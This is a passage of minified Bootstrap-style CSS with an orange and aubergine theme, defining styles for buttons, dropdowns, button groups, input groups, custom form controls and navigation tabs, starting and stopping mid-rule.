0.2rem rgba(233,84,32,0.5)}.btn-secondary{color:#fff;background-color:#AEA79F;border-color:#AEA79F}.btn-secondary:hover{color:#fff;background-color:#9c948a;border-color:#978e83}.btn-secondary:focus,.btn-secondary.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(174,167,159,0.5);box-shadow:0 0 0 0.2rem rgba(174,167,159,0.5)}.btn-secondary.disabled,.btn-secondary:disabled{color:#fff;background-color:#AEA79F;border-color:#AEA79F}.btn-secondary:not(:disabled):not(.disabled):active,.btn-secondary:not(:disabled):not(.disabled).active,.show>.btn-secondary.dropdown-toggle{color:#fff;background-color:#978e83;border-color:#91877c}.btn-secondary:not(:disabled):not(.disabled):active:focus,.btn-secondary:not(:disabled):not(.disabled).active:focus,.show>.btn-secondary.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(174,167,159,0.5);box-shadow:0 0 0 0.2rem rgba(174,167,159,0.5)}.btn-success{color:#fff;background-color:#38B44A;border-color:#38B44A}.btn-success:hover{color:#fff;background-color:#2f973e;border-color:#2c8d3a}.btn-success:focus,.btn-success.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(56,180,74,0.5);box-shadow:0 0 0 0.2rem rgba(56,180,74,0.5)}.btn-success.disabled,.btn-success:disabled{color:#fff;background-color:#38B44A;border-color:#38B44A}.btn-success:not(:disabled):not(.disabled):active,.btn-success:not(:disabled):not(.disabled).active,.show>.btn-success.dropdown-toggle{color:#fff;background-color:#2c8d3a;border-color:#298336}.btn-success:not(:disabled):not(.disabled):active:focus,.btn-success:not(:disabled):not(.disabled).active:focus,.show>.btn-success.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(56,180,74,0.5);box-shadow:0 0 0 0.2rem rgba(56,180,74,0.5)}.btn-info{color:#fff;background-color:#17a2b8;border-color:#17a2b8}.btn-info:hover{color:#fff;background-color:#138496;border-color:#117a8b}.btn-info:focus,.btn-info.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(23,162,184,0.5);box-shadow:0 0 0 0.2rem rgba(23,162,184,0.5)}.btn-info.disabled,.btn-info:disabled{color:#fff;background-color:#17a2b8;border-color:#17a2b8}.btn-info:not(:disabled):not(.disabled):active,.btn-info:not(:disabled):not(.disabled).active,.show>.btn-info.dropdown-toggle{color:#fff;background-color:#117a8b;border-color:#10707f}.btn-info:not(:disabled):not(.disabled):active:focus,.btn-info:not(:disabled):not(.disabled).active:focus,.show>.btn-info.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(23,162,184,0.5);box-shadow:0 0 0 0.2rem rgba(23,162,184,0.5)}.btn-warning{color:#fff;background-color:#EFB73E;border-color:#EFB73E}.btn-warning:hover{color:#fff;background-color:#ecaa1b;border-color:#e7a413}.btn-warning:focus,.btn-warning.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(239,183,62,0.5);box-shadow:0 0 0 0.2rem rgba(239,183,62,0.5)}.btn-warning.disabled,.btn-warning:disabled{color:#fff;background-color:#EFB73E;border-color:#EFB73E}.btn-warning:not(:disabled):not(.disabled):active,.btn-warning:not(:disabled):not(.disabled).active,.show>.btn-warning.dropdown-toggle{color:#fff;background-color:#e7a413;border-color:#db9c12}.btn-warning:not(:disabled):not(.disabled):active:focus,.btn-warning:not(:disabled):not(.disabled).active:focus,.show>.btn-warning.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(239,183,62,0.5);box-shadow:0 0 0 0.2rem rgba(239,183,62,0.5)}.btn-danger{color:#fff;background-color:#DF382C;border-color:#DF382C}.btn-danger:hover{color:#fff;background-color:#c7291e;border-color:#bc271c}.btn-danger:focus,.btn-danger.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(223,56,44,0.5);box-shadow:0 0 0 0.2rem rgba(223,56,44,0.5)}.btn-danger.disabled,.btn-danger:disabled{color:#fff;background-color:#DF382C;border-color:#DF382C}.btn-danger:not(:disabled):not(.disabled):active,.btn-danger:not(:disabled):not(.disabled).active,.show>.btn-danger.dropdown-toggle{color:#fff;background-color:#bc271c;border-color:#b0251b}.btn-danger:not(:disabled):not(.disabled):active:focus,.btn-danger:not(:disabled):not(.disabled).active:focus,.show>.btn-danger.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(223,56,44,0.5);box-shadow:0 0 0 0.2rem rgba(223,56,44,0.5)}.btn-light{color:#212529;background-color:#e9ecef;border-color:#e9ecef}.btn-light:hover{color:#212529;background-color:#d3d9df;border-color:#cbd3da}.btn-light:focus,.btn-light.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(233,236,239,0.5);box-shadow:0 0 0 0.2rem rgba(233,236,239,0.5)}.btn-light.disabled,.btn-light:disabled{color:#212529;background-color:#e9ecef;border-color:#e9ecef}.btn-light:not(:disabled):not(.disabled):active,.btn-light:not(:disabled):not(.disabled).active,.show>.btn-light.dropdown-toggle{color:#212529;background-color:#cbd3da;border-color:#c4ccd4}.btn-light:not(:disabled):not(.disabled):active:focus,.btn-light:not(:disabled):not(.disabled).active:focus,.show>.btn-light.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(233,236,239,0.5);box-shadow:0 0 0 0.2rem rgba(233,236,239,0.5)}.btn-dark{color:#fff;background-color:#772953;border-color:#772953}.btn-dark:hover{color:#fff;background-color:#5b1f3f;border-color:#511c39}.btn-dark:focus,.btn-dark.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(119,41,83,0.5);box-shadow:0 0 0 0.2rem rgba(119,41,83,0.5)}.btn-dark.disabled,.btn-dark:disabled{color:#fff;background-color:#772953;border-color:#772953}.btn-dark:not(:disabled):not(.disabled):active,.btn-dark:not(:disabled):not(.disabled).active,.show>.btn-dark.dropdown-toggle{color:#fff;background-color:#511c39;border-color:#481932}.btn-dark:not(:disabled):not(.disabled):active:focus,.btn-dark:not(:disabled):not(.disabled).active:focus,.show>.btn-dark.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(119,41,83,0.5);box-shadow:0 0 0 0.2rem rgba(119,41,83,0.5)}.btn-outline-primary{color:#E95420;background-color:transparent;background-image:none;border-color:#E95420}.btn-outline-primary:hover{color:#fff;background-color:#E95420;border-color:#E95420}.btn-outline-primary:focus,.btn-outline-primary.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(233,84,32,0.5);box-shadow:0 0 0 0.2rem rgba(233,84,32,0.5)}.btn-outline-primary.disabled,.btn-outline-primary:disabled{color:#E95420;background-color:transparent}.btn-outline-primary:not(:disabled):not(.disabled):active,.btn-outline-primary:not(:disabled):not(.disabled).active,.show>.btn-outline-primary.dropdown-toggle{color:#fff;background-color:#E95420;border-color:#E95420}.btn-outline-primary:not(:disabled):not(.disabled):active:focus,.btn-outline-primary:not(:disabled):not(.disabled).active:focus,.show>.btn-outline-primary.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(233,84,32,0.5);box-shadow:0 0 0 0.2rem rgba(233,84,32,0.5)}.btn-outline-secondary{color:#AEA79F;background-color:transparent;background-image:none;border-color:#AEA79F}.btn-outline-secondary:hover{color:#fff;background-color:#AEA79F;border-color:#AEA79F}.btn-outline-secondary:focus,.btn-outline-secondary.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(174,167,159,0.5);box-shadow:0 0 0 0.2rem rgba(174,167,159,0.5)}.btn-outline-secondary.disabled,.btn-outline-secondary:disabled{color:#AEA79F;background-color:transparent}.btn-outline-secondary:not(:disabled):not(.disabled):active,.btn-outline-secondary:not(:disabled):not(.disabled).active,.show>.btn-outline-secondary.dropdown-toggle{color:#fff;background-color:#AEA79F;border-color:#AEA79F}.btn-outline-secondary:not(:disabled):not(.disabled):active:focus,.btn-outline-secondary:not(:disabled):not(.disabled).active:focus,.show>.btn-outline-secondary.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(174,167,159,0.5);box-shadow:0 0 0 0.2rem rgba(174,167,159,0.5)}.btn-outline-success{color:#38B44A;background-color:transparent;background-image:none;border-color:#38B44A}.btn-outline-success:hover{color:#fff;background-color:#38B44A;border-color:#38B44A}.btn-outline-success:focus,.btn-outline-success.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(56,180,74,0.5);box-shadow:0 0 0 0.2rem rgba(56,180,74,0.5)}.btn-outline-success.disabled,.btn-outline-success:disabled{color:#38B44A;background-color:transparent}.btn-outline-success:not(:disabled):not(.disabled):active,.btn-outline-success:not(:disabled):not(.disabled).active,.show>.btn-outline-success.dropdown-toggle{color:#fff;background-color:#38B44A;border-color:#38B44A}.btn-outline-success:not(:disabled):not(.disabled):active:focus,.btn-outline-success:not(:disabled):not(.disabled).active:focus,.show>.btn-outline-success.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(56,180,74,0.5);box-shadow:0 0 0 0.2rem rgba(56,180,74,0.5)}.btn-outline-info{color:#17a2b8;background-color:transparent;background-image:none;border-color:#17a2b8}.btn-outline-info:hover{color:#fff;background-color:#17a2b8;border-color:#17a2b8}.btn-outline-info:focus,.btn-outline-info.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(23,162,184,0.5);box-shadow:0 0 0 0.2rem rgba(23,162,184,0.5)}.btn-outline-info.disabled,.btn-outline-info:disabled{color:#17a2b8;background-color:transparent}.btn-outline-info:not(:disabled):not(.disabled):active,.btn-outline-info:not(:disabled):not(.disabled).active,.show>.btn-outline-info.dropdown-toggle{color:#fff;background-color:#17a2b8;border-color:#17a2b8}.btn-outline-info:not(:disabled):not(.disabled):active:focus,.btn-outline-info:not(:disabled):not(.disabled).active:focus,.show>.btn-outline-info.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(23,162,184,0.5);box-shadow:0 0 0 0.2rem rgba(23,162,184,0.5)}.btn-outline-warning{color:#EFB73E;background-color:transparent;background-image:none;border-color:#EFB73E}.btn-outline-warning:hover{color:#fff;background-color:#EFB73E;border-color:#EFB73E}.btn-outline-warning:focus,.btn-outline-warning.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(239,183,62,0.5);box-shadow:0 0 0 0.2rem rgba(239,183,62,0.5)}.btn-outline-warning.disabled,.btn-outline-warning:disabled{color:#EFB73E;background-color:transparent}.btn-outline-warning:not(:disabled):not(.disabled):active,.btn-outline-warning:not(:disabled):not(.disabled).active,.show>.btn-outline-warning.dropdown-toggle{color:#fff;background-color:#EFB73E;border-color:#EFB73E}.btn-outline-warning:not(:disabled):not(.disabled):active:focus,.btn-outline-warning:not(:disabled):not(.disabled).active:focus,.show>.btn-outline-warning.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(239,183,62,0.5);box-shadow:0 0 0 0.2rem rgba(239,183,62,0.5)}.btn-outline-danger{color:#DF382C;background-color:transparent;background-image:none;border-color:#DF382C}.btn-outline-danger:hover{color:#fff;background-color:#DF382C;border-color:#DF382C}.btn-outline-danger:focus,.btn-outline-danger.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(223,56,44,0.5);box-shadow:0 0 0 0.2rem rgba(223,56,44,0.5)}.btn-outline-danger.disabled,.btn-outline-danger:disabled{color:#DF382C;background-color:transparent}.btn-outline-danger:not(:disabled):not(.disabled):active,.btn-outline-danger:not(:disabled):not(.disabled).active,.show>.btn-outline-danger.dropdown-toggle{color:#fff;background-color:#DF382C;border-color:#DF382C}.btn-outline-danger:not(:disabled):not(.disabled):active:focus,.btn-outline-danger:not(:disabled):not(.disabled).active:focus,.show>.btn-outline-danger.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(223,56,44,0.5);box-shadow:0 0 0 0.2rem rgba(223,56,44,0.5)}.btn-outline-light{color:#e9ecef;background-color:transparent;background-image:none;border-color:#e9ecef}.btn-outline-light:hover{color:#212529;background-color:#e9ecef;border-color:#e9ecef}.btn-outline-light:focus,.btn-outline-light.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(233,236,239,0.5);box-shadow:0 0 0 0.2rem rgba(233,236,239,0.5)}.btn-outline-light.disabled,.btn-outline-light:disabled{color:#e9ecef;background-color:transparent}.btn-outline-light:not(:disabled):not(.disabled):active,.btn-outline-light:not(:disabled):not(.disabled).active,.show>.btn-outline-light.dropdown-toggle{color:#212529;background-color:#e9ecef;border-color:#e9ecef}.btn-outline-light:not(:disabled):not(.disabled):active:focus,.btn-outline-light:not(:disabled):not(.disabled).active:focus,.show>.btn-outline-light.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(233,236,239,0.5);box-shadow:0 0 0 0.2rem rgba(233,236,239,0.5)}.btn-outline-dark{color:#772953;background-color:transparent;background-image:none;border-color:#772953}.btn-outline-dark:hover{color:#fff;background-color:#772953;border-color:#772953}.btn-outline-dark:focus,.btn-outline-dark.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(119,41,83,0.5);box-shadow:0 0 0 0.2rem rgba(119,41,83,0.5)}.btn-outline-dark.disabled,.btn-outline-dark:disabled{color:#772953;background-color:transparent}.btn-outline-dark:not(:disabled):not(.disabled):active,.btn-outline-dark:not(:disabled):not(.disabled).active,.show>.btn-outline-dark.dropdown-toggle{color:#fff;background-color:#772953;border-color:#772953}.btn-outline-dark:not(:disabled):not(.disabled):active:focus,.btn-outline-dark:not(:disabled):not(.disabled).active:focus,.show>.btn-outline-dark.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(119,41,83,0.5);box-shadow:0 0 0 0.2rem rgba(119,41,83,0.5)}.btn-link{font-weight:400;color:#E95420;background-color:transparent}.btn-link:hover{color:#ac3911;text-decoration:underline;background-color:transparent;border-color:transparent}.btn-link:focus,.btn-link.focus{text-decoration:underline;border-color:transparent;-webkit-box-shadow:none;box-shadow:none}.btn-link:disabled,.btn-link.disabled{color:#868e96}.btn-lg,.btn-group-lg>.btn{padding:0.5rem 1rem;font-size:1.25rem;line-height:1.5;border-radius:0.3rem}.btn-sm,.btn-group-sm>.btn{padding:0.25rem 0.5rem;font-size:0.875rem;line-height:1.5;border-radius:0.2rem}.btn-block{display:block;width:100%}.btn-block+.btn-block{margin-top:0.5rem}input[type="submit"].btn-block,input[type="reset"].btn-block,input[type="button"].btn-block{width:100%}.fade{opacity:0;-webkit-transition:opacity 0.15s linear;transition:opacity 0.15s linear}.fade.show{opacity:1}.collapse{display:none}.collapse.show{display:block}tr.collapse.show{display:table-row}tbody.collapse.show{display:table-row-group}.collapsing{position:relative;height:0;overflow:hidden;-webkit-transition:height 0.35s ease;transition:height 0.35s ease}.dropup,.dropdown{position:relative}.dropdown-toggle::after{display:inline-block;width:0;height:0;margin-left:0.255em;vertical-align:0.255em;content:"";border-top:0.3em solid;border-right:0.3em solid transparent;border-bottom:0;border-left:0.3em solid transparent}.dropdown-toggle:empty::after{margin-left:0}.dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:10rem;padding:0.5rem 0;margin:0.125rem 0 0;font-size:1rem;color:#333;text-align:left;list-style:none;background-color:#fff;background-clip:padding-box;border:1px solid rgba(0,0,0,0.15);border-radius:0.25rem}.dropup .dropdown-menu{margin-top:0;margin-bottom:0.125rem}.dropup .dropdown-toggle::after{display:inline-block;width:0;height:0;margin-left:0.255em;vertical-align:0.255em;content:"";border-top:0;border-right:0.3em solid transparent;border-bottom:0.3em solid;border-left:0.3em solid transparent}.dropup .dropdown-toggle:empty::after{margin-left:0}.dropright .dropdown-menu{margin-top:0;margin-left:0.125rem}.dropright .dropdown-toggle::after{display:inline-block;width:0;height:0;margin-left:0.255em;vertical-align:0.255em;content:"";border-top:0.3em solid transparent;border-bottom:0.3em solid transparent;border-left:0.3em solid}.dropright .dropdown-toggle:empty::after{margin-left:0}.dropright .dropdown-toggle::after{vertical-align:0}.dropleft .dropdown-menu{margin-top:0;margin-right:0.125rem}.dropleft .dropdown-toggle::after{display:inline-block;width:0;height:0;margin-left:0.255em;vertical-align:0.255em;content:""}.dropleft .dropdown-toggle::after{display:none}.dropleft .dropdown-toggle::before{display:inline-block;width:0;height:0;margin-right:0.255em;vertical-align:0.255em;content:"";border-top:0.3em solid transparent;border-right:0.3em solid;border-bottom:0.3em solid transparent}.dropleft .dropdown-toggle:empty::after{margin-left:0}.dropleft .dropdown-toggle::before{vertical-align:0}.dropdown-divider{height:0;margin:0.5rem 0;overflow:hidden;border-top:1px solid #e9ecef}.dropdown-item{display:block;width:100%;padding:0.25rem 1.5rem;clear:both;font-weight:400;color:#212529;text-align:inherit;white-space:nowrap;background-color:transparent;border:0}.dropdown-item:hover,.dropdown-item:focus{color:#16181b;text-decoration:none;background-color:#f8f9fa}.dropdown-item.active,.dropdown-item:active{color:#fff;text-decoration:none;background-color:#E95420}.dropdown-item.disabled,.dropdown-item:disabled{color:#868e96;background-color:transparent}.dropdown-menu.show{display:block}.dropdown-header{display:block;padding:0.5rem 1.5rem;margin-bottom:0;font-size:0.875rem;color:#868e96;white-space:nowrap}.btn-group,.btn-group-vertical{position:relative;display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;vertical-align:middle}.btn-group>.btn,.btn-group-vertical>.btn{position:relative;-webkit-box-flex:0;-ms-flex:0 1 auto;flex:0 1 auto}.btn-group>.btn:hover,.btn-group-vertical>.btn:hover{z-index:1}.btn-group>.btn:focus,.btn-group>.btn:active,.btn-group>.btn.active,.btn-group-vertical>.btn:focus,.btn-group-vertical>.btn:active,.btn-group-vertical>.btn.active{z-index:1}.btn-group .btn+.btn,.btn-group .btn+.btn-group,.btn-group .btn-group+.btn,.btn-group .btn-group+.btn-group,.btn-group-vertical .btn+.btn,.btn-group-vertical .btn+.btn-group,.btn-group-vertical .btn-group+.btn,.btn-group-vertical .btn-group+.btn-group{margin-left:-1px}.btn-toolbar{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start}.btn-toolbar .input-group{width:auto}.btn-group>.btn:first-child{margin-left:0}.btn-group>.btn:not(:last-child):not(.dropdown-toggle),.btn-group>.btn-group:not(:last-child)>.btn{border-top-right-radius:0;border-bottom-right-radius:0}.btn-group>.btn:not(:first-child),.btn-group>.btn-group:not(:first-child)>.btn{border-top-left-radius:0;border-bottom-left-radius:0}.dropdown-toggle-split{padding-right:0.5625rem;padding-left:0.5625rem}.dropdown-toggle-split::after{margin-left:0}.btn-sm+.dropdown-toggle-split,.btn-group-sm>.btn+.dropdown-toggle-split{padding-right:0.375rem;padding-left:0.375rem}.btn-lg+.dropdown-toggle-split,.btn-group-lg>.btn+.dropdown-toggle-split{padding-right:0.75rem;padding-left:0.75rem}.btn-group-vertical{-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;-webkit-box-align:start;-ms-flex-align:start;align-items:flex-start;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}.btn-group-vertical .btn,.btn-group-vertical .btn-group{width:100%}.btn-group-vertical>.btn+.btn,.btn-group-vertical>.btn+.btn-group,.btn-group-vertical>.btn-group+.btn,.btn-group-vertical>.btn-group+.btn-group{margin-top:-1px;margin-left:0}.btn-group-vertical>.btn:not(:last-child):not(.dropdown-toggle),.btn-group-vertical>.btn-group:not(:last-child)>.btn{border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn:not(:first-child),.btn-group-vertical>.btn-group:not(:first-child)>.btn{border-top-left-radius:0;border-top-right-radius:0}.btn-group-toggle>.btn,.btn-group-toggle>.btn-group>.btn{margin-bottom:0}.btn-group-toggle>.btn input[type="radio"],.btn-group-toggle>.btn input[type="checkbox"],.btn-group-toggle>.btn-group>.btn input[type="radio"],.btn-group-toggle>.btn-group>.btn input[type="checkbox"]{position:absolute;clip:rect(0, 0, 0, 0);pointer-events:none}.input-group{position:relative;display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-align:stretch;-ms-flex-align:stretch;align-items:stretch;width:100%}.input-group>.form-control,.input-group>.custom-select,.input-group>.custom-file{position:relative;-webkit-box-flex:1;-ms-flex:1 1 auto;flex:1 1 auto;width:1%;margin-bottom:0}.input-group>.form-control:focus,.input-group>.custom-select:focus,.input-group>.custom-file:focus{z-index:3}.input-group>.form-control+.form-control,.input-group>.form-control+.custom-select,.input-group>.form-control+.custom-file,.input-group>.custom-select+.form-control,.input-group>.custom-select+.custom-select,.input-group>.custom-select+.custom-file,.input-group>.custom-file+.form-control,.input-group>.custom-file+.custom-select,.input-group>.custom-file+.custom-file{margin-left:-1px}.input-group>.form-control:not(:last-child),.input-group>.custom-select:not(:last-child){border-top-right-radius:0;border-bottom-right-radius:0}.input-group>.form-control:not(:first-child),.input-group>.custom-select:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.input-group>.custom-file{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center}.input-group>.custom-file:not(:last-child) .custom-file-label,.input-group>.custom-file:not(:last-child) .custom-file-label::before{border-top-right-radius:0;border-bottom-right-radius:0}.input-group>.custom-file:not(:first-child) .custom-file-label,.input-group>.custom-file:not(:first-child) .custom-file-label::before{border-top-left-radius:0;border-bottom-left-radius:0}.input-group-prepend,.input-group-append{display:-webkit-box;display:-ms-flexbox;display:flex}.input-group-prepend .btn,.input-group-append .btn{position:relative;z-index:2}.input-group-prepend .btn+.btn,.input-group-prepend .btn+.input-group-text,.input-group-prepend .input-group-text+.input-group-text,.input-group-prepend .input-group-text+.btn,.input-group-append .btn+.btn,.input-group-append .btn+.input-group-text,.input-group-append .input-group-text+.input-group-text,.input-group-append .input-group-text+.btn{margin-left:-1px}.input-group-prepend{margin-right:-1px}.input-group-append{margin-left:-1px}.input-group-text{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;padding:0.375rem 0.75rem;margin-bottom:0;font-size:1rem;font-weight:400;line-height:1.5;color:#495057;text-align:center;white-space:nowrap;background-color:#e9ecef;border:1px solid #ced4da;border-radius:0.25rem}.input-group-text input[type="radio"],.input-group-text input[type="checkbox"]{margin-top:0}.input-group>.input-group-prepend>.btn,.input-group>.input-group-prepend>.input-group-text,.input-group>.input-group-append:not(:last-child)>.btn,.input-group>.input-group-append:not(:last-child)>.input-group-text,.input-group>.input-group-append:last-child>.btn:not(:last-child):not(.dropdown-toggle),.input-group>.input-group-append:last-child>.input-group-text:not(:last-child){border-top-right-radius:0;border-bottom-right-radius:0}.input-group>.input-group-append>.btn,.input-group>.input-group-append>.input-group-text,.input-group>.input-group-prepend:not(:first-child)>.btn,.input-group>.input-group-prepend:not(:first-child)>.input-group-text,.input-group>.input-group-prepend:first-child>.btn:not(:first-child),.input-group>.input-group-prepend:first-child>.input-group-text:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.custom-control{position:relative;display:block;min-height:1.5rem;padding-left:1.5rem}.custom-control-inline{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;margin-right:1rem}.custom-control-input{position:absolute;z-index:-1;opacity:0}.custom-control-input:checked ~ .custom-control-label::before{color:#fff;background-color:#E95420}.custom-control-input:focus ~ .custom-control-label::before{-webkit-box-shadow:0 0 0 1px #fff,0 0 0 0.2rem rgba(233,84,32,0.25);box-shadow:0 0 0 1px #fff,0 0 0 0.2rem rgba(233,84,32,0.25)}.custom-control-input:active ~ .custom-control-label::before{color:#fff;background-color:#f9d1c2}.custom-control-input:disabled ~ .custom-control-label{color:#868e96}.custom-control-input:disabled ~ .custom-control-label::before{background-color:#e9ecef}.custom-control-label{margin-bottom:0}.custom-control-label::before{position:absolute;top:0.25rem;left:0;display:block;width:1rem;height:1rem;pointer-events:none;content:"";-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;background-color:#dee2e6}.custom-control-label::after{position:absolute;top:0.25rem;left:0;display:block;width:1rem;height:1rem;content:"";background-repeat:no-repeat;background-position:center center;background-size:50% 50%}.custom-checkbox .custom-control-label::before{border-radius:0.25rem}.custom-checkbox .custom-control-input:checked ~ .custom-control-label::before{background-color:#E95420}.custom-checkbox .custom-control-input:checked ~ .custom-control-label::after{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3E%3Cpath fill='%23fff' d='M6.564.75l-3.59 3.612-1.538-1.55L0 4.26 2.974 7.25 8 2.193z'/%3E%3C/svg%3E")}.custom-checkbox .custom-control-input:indeterminate ~ .custom-control-label::before{background-color:#E95420}.custom-checkbox .custom-control-input:indeterminate ~ .custom-control-label::after{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 4'%3E%3Cpath stroke='%23fff' d='M0 2h4'/%3E%3C/svg%3E")}.custom-checkbox .custom-control-input:disabled:checked ~ .custom-control-label::before{background-color:rgba(233,84,32,0.5)}.custom-checkbox .custom-control-input:disabled:indeterminate ~ .custom-control-label::before{background-color:rgba(233,84,32,0.5)}.custom-radio .custom-control-label::before{border-radius:50%}.custom-radio .custom-control-input:checked ~ .custom-control-label::before{background-color:#E95420}.custom-radio .custom-control-input:checked ~ .custom-control-label::after{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3E%3Ccircle r='3' fill='%23fff'/%3E%3C/svg%3E")}.custom-radio .custom-control-input:disabled:checked ~ .custom-control-label::before{background-color:rgba(233,84,32,0.5)}.custom-select{display:inline-block;width:100%;height:calc(2.25rem + 2px);padding:0.375rem 1.75rem 0.375rem 0.75rem;line-height:1.5;color:#495057;vertical-align:middle;background:#fff url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 5'%3E%3Cpath fill='%23333' d='M2 0L0 2h4zm0 5L0 3h4z'/%3E%3C/svg%3E") no-repeat right 0.75rem center;background-size:8px 10px;border:1px solid #ced4da;border-radius:0.25rem;-webkit-appearance:none;-moz-appearance:none;appearance:none}.custom-select:focus{border-color:#f4ad94;outline:0;-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,0.075),0 0 5px rgba(244,173,148,0.5);box-shadow:inset 0 1px 2px rgba(0,0,0,0.075),0 0 5px rgba(244,173,148,0.5)}.custom-select:focus::-ms-value{color:#495057;background-color:#fff}.custom-select[multiple],.custom-select[size]:not([size="1"]){height:auto;padding-right:0.75rem;background-image:none}.custom-select:disabled{color:#868e96;background-color:#e9ecef}.custom-select::-ms-expand{opacity:0}.custom-select-sm{height:calc(1.8125rem + 2px);padding-top:0.375rem;padding-bottom:0.375rem;font-size:75%}.custom-select-lg{height:calc(2.875rem + 2px);padding-top:0.375rem;padding-bottom:0.375rem;font-size:125%}.custom-file{position:relative;display:inline-block;width:100%;height:calc(2.25rem + 2px);margin-bottom:0}.custom-file-input{position:relative;z-index:2;width:100%;height:calc(2.25rem + 2px);margin:0;opacity:0}.custom-file-input:focus ~ .custom-file-control{border-color:#f4ad94;-webkit-box-shadow:0 0 0 0.2rem rgba(233,84,32,0.25);box-shadow:0 0 0 0.2rem rgba(233,84,32,0.25)}.custom-file-input:focus ~ .custom-file-control::before{border-color:#f4ad94}.custom-file-input:lang(en) ~ .custom-file-label::after{content:"Browse"}.custom-file-label{position:absolute;top:0;right:0;left:0;z-index:1;height:calc(2.25rem + 2px);padding:0.375rem 0.75rem;line-height:1.5;color:#495057;background-color:#fff;border:1px solid #ced4da;border-radius:0.25rem}.custom-file-label::after{position:absolute;top:0;right:0;bottom:0;z-index:3;display:block;height:calc(calc(2.25rem + 2px) - 1px * 2);padding:0.375rem 0.75rem;line-height:1.5;color:#495057;content:"Browse";background-color:#e9ecef;border-left:1px solid #ced4da;border-radius:0 0.25rem 0.25rem 0}.nav{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;padding-left:0;margin-bottom:0;list-style:none}.nav-link{display:block;padding:0.5rem 1rem}.nav-link:hover,.nav-link:focus{text-decoration:none}.nav-link.disabled{color:#868e96}.nav-tabs{border-bottom:1px solid #dee2e6}.nav-tabs .nav-item{margin-bottom:-1px}.nav-tabs .nav-link{border:1px solid transparent;border-top-left-radius:0.25rem;border-top-right-radius:0.25rem}.nav-tabs .nav-link:hover,.nav-tabs .nav-link:focus{border-color:#e9ecef #e9ecef #dee2e6}.nav-tabs .nav-link.disabled{color:#868e96;background-color:transparent;border-color:transparent}.nav-tabs .nav-link.active,.nav-tabs .nav-item.show .nav-link{color:#495057;background-color:#fff;border-color:#dee2e6 #dee2e6 #fff}.nav-tabs .dropdown-menu{margin-top:-1px;border-top-left-radius:0;border-top-right-radius:0}.nav-pills .nav-link{border-radius:0.25rem}.nav-pills .nav-link.active,.nav-pills .show>.nav-link{color:#fff;background-color:#E95420}.nav-fill .nav-item{-webkit-box-flex:1;-ms-flex:1 1 auto;flex:1 1 auto;text-align:center}.nav-justified .nav-item{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;text-align:center}.tab-content>.tab-pane{display:none}.tab-content>.active{display:block}.navbar{position:relative;display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between;padding:0.5rem 